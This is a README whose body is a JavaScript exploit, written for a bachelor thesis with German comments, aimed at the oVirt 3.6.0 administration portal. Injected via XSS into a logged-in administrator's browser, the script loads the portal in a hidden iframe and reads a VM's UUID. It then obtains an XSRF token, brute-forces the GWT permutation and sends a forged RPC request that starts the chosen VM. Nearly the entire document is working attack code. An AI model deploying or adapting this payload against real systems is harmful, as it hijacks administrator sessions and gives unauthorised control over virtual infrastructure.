README.md
Rendering markdown...
/*
Autor: Emanuel Durmaz
Web Exploit-Code zur Bachelor Thesis
----------------------
Benötigte JS-Library:
https://github.com/peterolson/BigInteger.js
Voraussetzungen:
- BigInteger.min.js muss vorher in das HTML-Dokument geladen werden bzw. via XSS mit eingeschleust werden
- Administrator muss im oVirt Administratorportal eingeloggt sein.
- 15-60 Sekunden ausführen lassen.
- Die hier verwendeten RPC-Anfragen funktionieren nur für oVirt 3.6.0. Will man dieses Konzept für eine neuere oVirt Version ausprobieren, so müssen die RPC-Anfragen ausgetauscht werden.
Nachträgliche Änderungen / Verbesserungen:
03.04.16:
- RPC-Anfrage in sendRpcCommand() korrigiert (UUID) und umgebrochen (Darstellung)
- getGWTPermutation() korrigiert (i++ zum Schluss)
- mehr Kommentare
- host-Variable hinzugefügt
*/
//Domain oder IP des Webinterfaces
host = '192.168.2.185';
document.body.innerHTML =
'<div style="display:block; visibility:hidden">'
+'<iframe id="hiddenFrame" width="1000" height="700"'
+'src="https://' + host + '/ovirt-engine/webadmin/?locale=de_DE#vms">'
+'</iframe></div>';
//lege Reihe der gewünschten VM fest
//siehe VM-Übersichtstabelle im Adminportal.
row = 1; //Aktionen auf der VM 2.Reihe
//DOM-Zugriff zum iFrame
hiddenFrame = document.getElementById('hiddenFrame');
doc = hiddenFrame.contentDocument? hiddenFrame.contentDocument: hiddenFrame.contentWindow.document;
//es wird zuerst die UUID im Voraus ermittelt
waitForElements_start('MainTabVirtualMachineView_table_content_col2_row'+row, 4000);
function waitForElements_start(selector, time)
{//Warte bis Element geladen wurde
if(doc.getElementById(selector)!=null)
{
console.log("loaded");
doc.getElementById(selector).click(); //klicke auf VM, sodass Detailübersicht geladen wird
waitForDetailsTab('SubTabVirtualMachineGeneralView_form_col2_row4_value', 4000);
return;
}
else {
setTimeout(function()
{
console.log("still loading ..."+selector);
waitForElements_start(selector, time); //aktualisiere DOM-Variable
doc = hiddenFrame.contentDocument? hiddenFrame.contentDocument: hiddenFrame.contentWindow.document;
}, time);
}
}
function waitForDetailsTab(selector, time)
{// warte bis Detailübersicht geladen wird
if(doc.getElementById(selector)!=null)
{
console.log("loaded");
var uuid = doc.getElementById('SubTabVirtualMachineGeneralView_form_col2_row4_value').value;
console.log(uuid);
document.body.innerHTML = '';
main(uuid); //Starte nun Hauptfunktion
return;
}
else
{
setTimeout(function() {
waitForDetailsTab(selector, time);
console.log("still loading ..."+selector);
doc.getElementById('MainTabVirtualMachineView_table_content_col2_row'+row).click();
}, time); // Es wird "sicherheitshalber" öfter geklickt
}
}
function main(uuid)
{
var xsrfToken = getXsrfToken();
console.log(xsrfToken);
var gwtPermutation = getGWTPermutation(xsrfToken);
console.log(gwtPermutation);
uuidDecArray = uuidTransform(uuid); //Transformiere UUID (beschrieben im 4. Schritt)
console.log(uuidDecArray);
//führe Befehl via RPC-Anfrage aus.
sendRpcCommand(xsrfToken, gwtPermutation, uuidDecArray);
return;
}
function getXsrfToken()
{
var xhr = new XMLHttpRequest();
xhr.open('POST','/ovirt-engine/webadmin/xsrf',false);
xhr.setRequestHeader('X-GWT-Module-Base','https://' + host + '/ovirt-engine/webadmin/');
xhr.setRequestHeader('X-GWT-Permutation',''); //Mit leerem Wert
xhr.setRequestHeader('Content-Type','text/x-gwt-rpc; charset=utf-8');
//via GWT-RPC-Anfrage XSRF-Token anfragen
var postData = '7|0|4|https://' + host + '/ovirt-engine/webadmin/|CCA65B31464BDB27545C23C142FEEEF8|'
+'com.google.gwt.user.client.rpc.XsrfTokenService|getNewXsrfToken|1|2|3|4|0|';
xhr.send(postData);
var httpBodyResponse = xhr.responseText;
//extrahiere XSRF Token aus RPC Antwort
var tmp = httpBodyResponse.substring(0,httpBodyResponse.length-7);
var startOfToken = tmp.lastIndexOf('\"');
var xsrfToken = tmp.substring(startOfToken+1,httpBodyResponse.length-7);
return xsrfToken;
}
function getGWTPermutation(xsrfToken)
{
var xhr = new XMLHttpRequest();
//.nocache.js enthält alle möglichen GWT-Permutationen
xhr.open('GET','/ovirt-engine/webadmin/webadmin.nocache.js',false);
xhr.send();
var httpBodyResponse = xhr.responseText;
//liste alle vorhandenen GWT-Permutation Token auf
var listGWTPermutations = httpBodyResponse.match(/[A-Z0-9]{30,35}/g);
//beliebige RPC-Anfrage zum Testen.
var postData=
'R7~"61~org.ovirt.engine.ui.frontend.gwtservices.GenericApiGWTService~"14~runPublicQuery~D2~"3~uUj~"3'
+'~U3g~Eorg.ovirt.engine.core.common.queries.VdcQueryType~I206~Lorg.ovirt.engine.core.common.queries.'
+'VdcQueryParametersBase~I4~"1~n~V~"1~o~Z0~"1~p~Z1~"1~q~V~';
var notfound = 1;
var i=0;
while(notfound && (i < listGWTPermutations.length))
{//alle ausprobieren, bis man eine valide GWTPermutation findet
xhr.open('POST','/ovirt-engine/webadmin/GenericApiGWTService',false);
xhr.setRequestHeader('OVIRT-XSRF-Token',xsrfToken);
xhr.setRequestHeader('X-GWT-Module-Base','https://' + host + '/ovirt-engine/webadmin/');
xhr.setRequestHeader('X-GWT-Permutation',listGWTPermutations[i]);
xhr.setRequestHeader('Content-Type','text/x-gwt-rpc; charset=utf-8');
xhr.send(postData);
if(xhr.status != 500)
{ //wenn eine RPC-Anfrage beantwortet wird, dann...
notfound = 0;
//gefundenen GWT Permutation speichern bzw. zurückgeben
var gwtPermutation = listGWTPermutations[i];
return gwtPermutation;
}
i++;
}
}
function sendRpcCommand(xsrfToken, gwtPermutation, uuidArray)
{
var xhr = new XMLHttpRequest();
//diese RPC-Anfrage startet VM mit der entsprechenden UUID
var postData=
'R11~"61~org.ovirt.engine.ui.frontend.gwtservices.GenericApiGWTService~"18~runMultipleActions~'
+'D4~"3~Xfh~"3~X3e~"2~ Z~@4~Eorg.ovirt.engine.core.common.action.VdcActionType~I12~!java.util.ArrayList~'
+'I2~D1~Lorg.ovirt.engine.core.common.action.RunVmParams~I42~"1~n~Z1~"1~o~Z0~"1~p~V~"1~q~V~"1~r~V~"1~s~'
+'D0~"1~t~V~"1~u~V~"1~v~V~"1~w~V~"1~A~V~"1~B~V~"1~C~V~"1~D~Z1~"1~F~V~"1~G~V~"1~H~V~"1~I~V~"1~J~V~"1~K~'
+'V~"1~L~V~"1~M~V~"1~N~Lorg.ovirt.engine.core.compat.Guid~I1~"1~b~!java.util.UUID~I2'
+'~J'+ uuidArray[1] +'~J'+ uuidArray[0] +'~I0~"1~O~V~"1~P~Eorg.ovirt.engine.core.common.action.VdcActionType~'
+'I0~"1~Q~Z0~"1~R~V~"1~S~V~"1~T~D0~"1~U~!java.util.ArrayList~I1~D0~I0~"1~V~V~"1~W~V~"1~X~Z0~"1~Y~V~"1~Z~'
+'Eorg.ovirt.engine.core.common.action.VdcActionType~I0~"1~_~Z1~"2~ab~Z1~"2~bb~V~"2~cb~Z1~"2~db~'
+'Eorg.ovirt.engine.core.compat.TransactionScopeOption~I2~"2~eb~V~"2~fb~V~I0~Z0~Z0~';
xhr.open('POST','/ovirt-engine/webadmin/GenericApiGWTService',false);
xhr.setRequestHeader('OVIRT-XSRF-Token',xsrfToken);
xhr.setRequestHeader('X-GWT-Module-Base','https://' + host + '/ovirt-engine/webadmin/');
xhr.setRequestHeader('X-GWT-Permutation',gwtPermutation);
xhr.setRequestHeader('Content-Type','text/x-gwt-rpc; charset=utf-8');
xhr.send(postData);
return;
}
function uuidTransform(uuid)
{
//Bindestriche der UUID entfernen
uuid = uuid.replace(/-/g,'');
//UUID besteht aus 32 Zeichen bzw. 16 Bytes (Hex) bzw. 128Bit
//UUID in höherwertige und niederwertige Hälften aufteilen
//je Hälfte nimmt 8 Byte bzw. 64Bit ein
msbHexUuid = uuid.substring(0, uuid.length/2);
lsbHexUuid = uuid.substring((uuid.length/2), uuid.length);
//wir haben nun zwei signed Hex Integer
//wenn MSB=1, liegt Zahl in Zweierkomplement vor
//wenn MSB=0, normale positive Zahl
msbDecUuid = twoComplement(msbHexUuid);
lsbDecUuid = twoComplement(lsbHexUuid);
uuidDec = [msbDecUuid,lsbDecUuid];
return uuidDec;
}
function twoComplement(inpStr) //benötigt BigInteger-Library
{
inp = bigInt(inpStr,16);
mask63 = bigInt('7fffffffffffffff',16); //63Bit
diff = inp.subtract(mask63);
if(diff.isPositive()) //also ist inp negativ, da MSB=1
{
mask64 = bigInt('ffffffffffffffff',16);
decimal = inp.xor(mask64).add(1).toString(10);
decimal = '-'+decimal; //Minuszeichen
return decimal;
}
else //sonst so lassen, nur ins Dec umwandeln
{
decimal = inp.toString(10);
return decimal;
}
}